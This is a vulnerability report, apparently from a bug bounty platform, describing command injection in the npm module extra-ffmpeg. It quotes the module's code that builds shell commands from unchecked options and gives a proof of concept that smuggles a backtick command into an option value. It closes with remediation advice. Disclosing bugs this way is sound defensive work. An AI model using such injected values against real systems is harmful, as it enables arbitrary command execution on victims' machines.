I would like to report a Command Injection
issue in the extra-ffmpeg
module.
It allows to execute arbitrary commands on the victim’s PC.
module name: extra-ffmpeg
version:4.0.3
npm page: https://www.npmjs.com/package/extra-ffmpeg
Decode, encode, transcode, mux, demux, stream, filter, and play media through machine (via “ffmpeg”).
[99] weekly downloads
The issue occurs because a user input parameter is used inside a command that is executed without any check.
Here’s the code which causes the issue:
// https://github.com/nodef/extra-ffmpeg/blob/master/index.js#L19
const cp = require('child_process');
// Global variables.
const STDIO = [0, 1, 2];
// Generate command for ffmpeg.
function command(os) {
var z = 'ffmpeg';
var os = os||[];
for(var o of os) {
var o = o||{};
for(var k in o) {
if(o[k]==null) continue;
if(k==='stdio') continue;
if(k==='o' || k==='outfile') z += ` "${o[k]}"`;
else if(typeof o[k]==='boolean') z += o[k]? ` -${k}`:'';
else z += ` -${k} ${JSON.stringify(o[k])}`; // <-- injection
}
}
return z;
};
/**
* Invoke "ffmpeg" synchronously.
* @param {object} os ffmpeg options.
*/
function sync(os) {
var stdio = os.stdio===undefined? STDIO:os.stdio;
return cp.execSync(command(os), {stdio});
};
/**
* Invoke "ffmpeg" asynchronously.
* @param {object} os ffmpeg options.
*/
function ffmpeg(os) {
var stdio = os.stdio===undefined? STDIO:os.stdio;
return new Promise((fres, frej) => cp.exec(command(os), {stdio}, (err, stdout, stderr) => {
if(err) frej(err);
else fres({stdout, stderr});
}));
};
ffmpeg.sync = sync;
module.exports = ffmpeg;
The os
parameter contains the option parameters for the command ffmpeg
.
The final command that is passed to the child_process.exec
function is built formatting the options value without any check.
create a directory for testing
mkdir poc
cd poc/
install extra-ffmpeg
module:
npm i extra-ffmpeg
create the following PoC JavaScript file (poc.js
):
const ffmpeg = require('extra-ffmpeg');
ffmpeg.sync([{y: true}, {i: '`touch HACKED`'}, {acodec: 'copy', o: 'aud.mp3'}]);
HACKED
file does not exist:
ls
poc.js
file:
node poc.js
HACKED
file is created:
ls
{F810821}
Do not concatenate/format commands using insecure user’s input. Always check and sanitize it.
In my opinion, it’s better to use child_process.execFile
or child_process.spawn
functions instead of child_process.exec
.
Thank you for your time.
best regards,
d3lla
Command Injection on extra-ffmpeg
module via insecure command formatting.